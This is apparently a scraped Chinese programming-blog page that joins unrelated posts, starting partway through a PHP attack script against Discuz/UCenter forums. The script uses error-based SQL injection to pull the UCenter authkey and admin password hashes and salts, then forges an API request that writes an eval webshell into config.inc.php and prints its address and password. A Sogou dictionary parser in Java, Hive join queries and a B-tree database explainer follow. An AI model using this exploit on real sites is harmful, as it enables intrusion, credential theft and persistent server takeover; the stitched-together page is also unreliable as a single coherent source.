preg_match("/1\^(.*)\&#039;/U",$resp,$key1);
$sql="action=grouppermission&gids[99]=&#039;&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20substr(authkey,63,62)%20from%20".$table."uc_applications%20limit%200,1))x%20from%20information_schema.tables%20group%20by%20x)a)%23";
$resp = sendpack($host,$path,$sql);
preg_match("/1\^(.*)\&#039;/U",$resp,$key2);
$key=$key1[1].$key2[1];
$code=urlencode(_authcode("time=$timestamp&action=updateapps", &#039;ENCODE&#039;, $key));
$cmd1=&#039;<?xml version="1.0" encoding="ISO-8859-1"?><root><item id="UC_API">bbs.49you.com\&#039;);eval($_POST[i0day]);//</item></root>&#039;;
$cmd2=&#039;<?xml version="1.0" encoding="ISO-8859-1"?><root><item id="UC_API">bbs.49you.com</item></root>&#039;;
$html1 = send($cmd1);
$res1=substr($html1,-1);
$html2 = send($cmd2);
$res2=substr($html1,-1);
if($res1==&#039;1&#039;&&$res2==&#039;1&#039;){
echo "shell地址：http://".$host.$path.&#039;config.inc.php   pass:i0day&#039;;
}
}else{
echo &#039;获取失败&#039;;
}
}
}
}
 
}elseif($js==2){
$sql="action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%280x5E5E5E,username,0x3a,password,0x3a,salt%29%20from%20".$table."uc_members%20limit%200,1%29,floor%28rand%280%29*2%29,0x5E%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23";
$resp = sendpack($host,$path,$sql);
if(strpos($resp,"\^\^\^")!=-1){
preg_match("/\^\^\^(.*)\^/U",$resp,$password);
echo &#039;密码：&#039;.$password[1];
}else{
echo &#039;表前缀可能不是默认cdb_ 请先查看表前缀！&#039;;
}
}elseif($js==3){
$sql="action=grouppermission&gids[99]=&#039;&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20hex(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),0x5E)x%20from%20information_schema%20.tables%20group%20by%20x)a)%23";
$resp = sendpack($host,$path,$sql);
if(strpos($resp,"1\^")!=-1){
preg_match("/1\^(.*)\^/U",$resp,$t);
 
if(strpos($t[1],"cdb_")!=-1){
echo "表名为：".hex2str($t[1])." 表前缀为默认cdb_ 无需修改";
}else{
echo "表名：".hex2str($t[1]).&#039; 不是默认表名cdb_请自行修改代码中的$table&#039;;
}
}else{
echo "查看表前缀失败,Sorry";
}
}else{
echo "未选择脚本功能";
}
 
 
function sendpack($host,$path,$sql,$js){
$data = "GET ".$path."/faq.php?".$sql." HTTP/1.1\r\n";
$data.="Host:".$host."\r\n";
$data.="User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:20.0) Gecko/20100101 Firefox/20.0\r\n";
$data.="Connection: close\r\n\r\n";
//$data.=$html."\r\n";
$ock=fsockopen($host,80);
 
if(!$ock){
echo "No response from ".$host;
die();
 
}
fwrite($ock,$data);
 
$resp = &#039;&#039;;
 
while (!feof($ock)) {
 
$resp.=fread($ock, 1024);
}
 
return $resp;
 
}
function send($cmd){
global $host,$code,$path;
$message = "POST ".$path."/api/uc.php?code=".$code."  HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Referer: ".$host."\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "Host: ".$host."\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd;
 
//var_dump($message);
$fp = fsockopen($host, 80);
fputs($fp, $message);
 
$resp = &#039;&#039;;
 
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
 
return $resp;
}
 
function _authcode($string, $operation = &#039;DECODE&#039;, $key = &#039;&#039;, $expiry = 0) {
$ckey_length = 4;
 
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == &#039;DECODE&#039; ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : &#039;&#039;;
 
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
 
$string = $operation == &#039;DECODE&#039; ? base64_decode(substr($string, $ckey_length)) : sprintf(&#039;%010d&#039;, $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
 
$result = &#039;&#039;;
$box = range(0, 255);
 
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
 
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
 
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
 
if($operation == &#039;DECODE&#039;) {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return &#039;&#039;;
}
} else {
return $keyc.str_replace(&#039;=&#039;, &#039;&#039;, base64_encode($result));
}
 
}
function hex2str($hex){
$str = &#039;&#039;;
$arr = str_split($hex, 2);
foreach($arr as $bit){
$str .= chr(hexdec($bit));
}
return $str;
}
?>

[ 原文链接]

• —软件人才免语言低担保 赴美带薪读研！—

package com.qin.parse.scel;



import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.URL;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.Map.Entry;
import java.util.Set;

public class SougouScelReader {

    public SougouScelMdel read(File file) throws IOException {
        return read(new FileInputStream(file));
    }

    public SougouScelMdel read(URL url) throws IOException {
        return read(url.openStream());
    }

    protected ByteArrayOutputStream output=new ByteArrayOutputStream();

    protected String readString(DataInputStream input,int pos,int[] reads) throws IOException {
        int read=reads[0];
        input.skip(pos-read);
        read=pos;
        output.reset();
        while(true) {
            int c1 = input.read();
            int c2 = input.read();
            read+=2;
            if(c1==0 && c2==0) {
                break;
            } else {
                output.write(c1);
                output.write(c2);
            }
        }
        reads[0]=read;
        return new String(output.toByteArray(),encoding);
    }

    protected static String encoding = "UTF-16LE";

    public SougouScelMdel read(InputStream in) throws IOException {
        SougouScelMdel model = new SougouScelMdel();
        DataInputStream input = new DataInputStream(in);
        int read;
        try {
            byte[] bytes = new byte[4];
            input.readFully(bytes);
            assert (bytes[0] == 0x40 && bytes[1] == 0x15 && bytes[2] == 0 && bytes[3] == 0);
            input.readFully(bytes);
            int flag1 = bytes[0];
            assert (bytes[1] == 0x43 && bytes[2] == 0x53 && bytes[3] == 0x01);
            int[] reads=new int[]{8};
            model.setName(readString(input,0x130,reads));
            model.setType(readString(input,0x338,reads));
            model.setDescription(readString(input,0x540,reads));
            model.setSample(readString(input,0xd40,reads));
            read = reads[0];
            input.skip(0x1540 - read);
            read=0x1540;
            input.readFully(bytes);
            read += 4;
            assert (bytes[0] == (byte) 0x9D && bytes[1] == 0x01 && bytes[2] == 0 && bytes[3] == 0);
            bytes = new byte[128];
            Map<Integer, String> pyMap = new LinkedHashMap<Integer, String>();
            while (true) {
                int mark = readUnsignedShort(input);
                int size = input.readUnsignedByte();
                input.skip(1);
                read += 4;
                assert (size > 0 && (size % 2) == 0);
                input.readFully(bytes, 0, size);
                read += size;
                String py = new String(bytes, 0, size, encoding);
                //System.out.println(py);
                pyMap.put(mark, py);
                if ("zuo".equals(py)) {
                    break;
                }
            }
            if (flag1 == 0x44) {
                input.skip(0x2628 - read);
            } else if (flag1 == 0x45) {
                input.skip(0x26C4 - read);
            } else {
                throw new RuntimeException("出现意外，联系作者");
            }
            StringBuffer buffer = new StringBuffer();
            Map<String, List<String>> wordMap = new LinkedHashMap<String, List<String>>();
            while (true) {
                int size = readUnsignedShort(input);
                if (size < 0) {
                    break;
                }
                int count = readUnsignedShort(input);
                int len = count / 2;
                assert (len * 2 == count);
                buffer.setLength(0);
                for (int i = 0; i < len; i++) {
                    int key = readUnsignedShort(input);
                    buffer.append(pyMap.get(key)).append("'");
                }
                buffer.setLength(buffer.length() - 1);
                String py = buffer.toString();
                List<String> list = wordMap.get(py);
                if (list == null) {
                    list = new ArrayList<String>();
                    wordMap.put(py, list);
                }
                for (int i = 0; i < size; i++) {
                    count = readUnsignedShort(input);
                    if (count > bytes.length) {
                        bytes = new byte[count];
                    }
                    input.readFully(bytes, 0, count);
                    String word = new String(bytes, 0, count, encoding);
                    //接下来12个字节可能是词频或者类似信息
                    input.skip(12);
                    list.add(word);
                }
            }
            //System.out.println(wordMap.size());
            model.setWordMap(wordMap);
            return model;
        } finally {
            in.close();
        }
    }

    protected final int readUnsignedShort(InputStream in) throws IOException {
        int ch1 = in.read();
        int ch2 = in.read();
        if ((ch1 | ch2) < 0) {
            return Integer.MIN_VALUE;
        }
        return (ch2 << 8) + (ch1 << 0);
    }

}

//自行将此类提出来为public class
class SougouScelMdel {

    private Map<String, List<String>> wordMap;

    private String name;
    private String type;
    private String description;
    private String sample;

    public Map<String, List<String>> getWordMap() {
        return wordMap;
    }

    void setWordMap(Map<String, List<String>> wordMap) {
        this.wordMap = wordMap;
    }

    public String getType() {
        return type;
    }

    public void setType(String type) {
        this.type = type;
    }

    public String getDescription() {
        return description;
    }

    public void setDescription(String description) {
        this.description = description;
    }

    public String getSample() {
        return sample;
    }

    public void setSample(String sample) {
        this.sample = sample;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    
    
    
    
}

package com.qin.parse.scel;

import java.io.File;
import java.io.IOException;
import java.io.RandomAccessFile;
import java.nio.file.Files;
import java.nio.file.LinkOption;
import java.nio.file.Paths;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.Map.Entry;

/**
 * 解析sogo词库工具类
 * 
 * 
 * **/
public class ParseSogo {
	
	public static void main(String[] args)throws Exception {
		
   	 sogou("D:\\词库\\dianshang.scel","D:\\词库\\goods1.txt",false);
	}
	/**
	 * 读取scel的词库文件
	 * 生成txt格式的文件
	 * @param inputPath 输入路径
	 * @param outputPath 输出路径
	 * @param isAppend  是否拼接追加词库内容 
	 * true 代表追加,false代表重建
	 * 
	 * **/
   private static void sogou(String inputPath,String outputPath,boolean isAppend) throws IOException{  
       File file=new File(inputPath);  
       if(!isAppend){
       if(Files.exists(Paths.get(outputPath),LinkOption.values())){
    	   System.out.println("存储此文件已经删除");
    	   Files.deleteIfExists(Paths.get(outputPath));
       }
       }
       RandomAccessFile raf=new RandomAccessFile(outputPath, "rw");
       int count=0;
       SougouScelMdel model = new SougouScelReader().read(file);  
       Map<String,List<String>> words = model.getWordMap(); //词<拼音,词>  
       Set<Entry<String,List<String>>> set = words.entrySet();  
       Iterator<Entry<String,List<String>>> iter = set.iterator();  
       while(iter.hasNext()){  
           Entry<String,List<String>> entry = iter.next();  
           List<String> list = entry.getValue();  
           int size = list.size();  
           for(int i = 0; i < size; i++){  
               String word = list.get(i);  
               //System.out.println(word); 
               raf.seek(raf.getFilePointer());
               raf.write((word+"\n").getBytes());//写入txt文件
               count++;
               
               
           }  
       }  
       raf.close();
       System.out.println("生成txt成功！,总计写入: "+count+" 条数据！");
   }  

}

• —软件人才免语言低担保 赴美带薪读研！—

select * from log a

  join users b

  on a.user_id is not null

  and a.user_id = b.user_id

union all

select * from log a

  where a.user_id is null;

select *

  from log a

  left outer join users b

  on case when a.user_id is null then concat(‘hive’,rand() ) else a.user_id end = b.user_id;

select * from users a

  left outer join logs b

  on a.usr_id = cast(b.user_id as string)

select * from log a

  left outer join users b

  on a.user_id = b.user_id;

select /*+mapjoin(x)*/* from log a

  left outer join (

    select  /*+mapjoin(c)*/d.*

      from ( select distinct user_id from log ) c

      join users d

      on c.user_id = d.user_id

    ) x

  on a.user_id = b.user_id;

• —软件人才免语言低担保 赴美带薪读研！—

所有应用软件之中，数据库可能是最复杂的。

MySQL的手册有3000多页，PostgreSQL的手册有2000多页，Oracle的手册更是比它们相加还要厚。

但是，自己写一个最简单的数据库，做起来并不难。Reddit上面有一个 帖子，只用了几百个字，就把原理讲清楚了。下面是我根据这个帖子整理的内容。

一、数据以文本形式保存

第一步，就是将所要保存的数据，写入文本文件。这个文本文件就是你的数据库。

为了方便读取，数据必须分成记录，每一条记录的长度规定为等长。比如，假定每条记录的长度是800字节，那么第5条记录的开始位置就在3200字节。

大多数时候，我们不知道某一条记录在第几个位置，只知道 主键（primary key）的值。这时为了读取数据，可以一条条比对记录。但是这样做效率太低，实际应用中，数据库往往采用 B树（B-tree）格式储存数据。

二、什么是B树？

要理解B树，必须从 二叉查找树（Binary search tree）讲起。

二叉查找树是一种查找效率非常高的数据结构，它有三个特点。

（1）每个节点最多只有两个子树。

（2）左子树都为小于父节点的值，右子树都为大于父节点的值。

（3）在n个节点中找到目标值，一般只需要log(n)次比较。

二叉查找树的结构不适合数据库，因为它的查找效率与层数相关。越处在下层的数据，就需要越多次比较。极端情况下，n个数据需要n次比较才能找到目标值。对于数据库来说，每进入一层，就要从硬盘读取一次数据，这非常致命，因为硬盘的读取时间远远大于数据处理时间，数据库读取硬盘的次数越少越好。

B树是对二叉查找树的改进。它的设计思想是，将相关数据尽量集中在一起，以便一次读取多个数据，减少硬盘操作次数。

B树的特点也有三个。

（1）一个节点可以容纳多个值。比如上图中，最多的一个节点容纳了4个值。

（2）除非数据已经填满，否则不会增加新的层。也就是说，B树追求"层"越少越好。

（3）子节点中的值，与父节点中的值，有严格的大小对应关系。一般来说，如果父节点有a个值，那么就有a+1个子节点。比如上图中，父节点有两个值（7和16），就对应三个子节点，第一个子节点都是小于7的值，最后一个子节点都是大于16的值，中间的子节点就是7和16之间的值。

这种数据结构，非常有利于减少读取硬盘的次数。假定一个节点可以容纳100个值，那么3层的B树可以容纳100万个数据，如果换成二叉查找树，则需要20层！假定操作系统一次读取一个节点，并且根节点保留在内存中，那么B树在100万个数据中查找目标值，只需要读取两次硬盘。

三、索引

数据库以B树格式储存，只解决了按照"主键"查找数据的问题。如果想查找其他字段，就需要建立索引（index）。

所谓索引，就是以某个字段为关键字的B树文件。假定有一张"雇员表"，包含了员工号（主键）和姓名两个字段。可以对姓名建立索引文件，该文件以B树格式对姓名进行储存，每个姓名后面是其在数据库中的位置（即第几条记录）。查找姓名的时候，先从索引中找到对应第几条记录，然后再从表格中读取。

这种索引查找方法，叫做 "索引顺序存取方法"（Indexed Sequential Access Method），缩写为ISAM。它已经有多种实现（比如C-ISAM库和D-ISAM库），只要使用这些代码库，就能自己写一个最简单的数据库。

四、高级功能

部署了最基本的数据存取（包括索引）以后，还可以实现一些高级功能。

（1）SQL语言是数据库通用操作语言，所以需要一个SQL解析器，将SQL命令解析为对应的ISAM操作。

（2）数据库连接（join）是指数据库的两张表通过"外键"，建立连接关系。你需要对这种操作进行优化。

（3）数据库事务（transaction）是指批量进行一系列数据库操作，只要有一步不成功，整个操作都不成功。所以需要有一个"操作日志"，以便失败时对操作进行回滚。

（4）备份机制：保存数据库的副本。

（5）远程操作：使得用户可以在不同的机器上，通过TCP/IP协议操作数据库。

（完）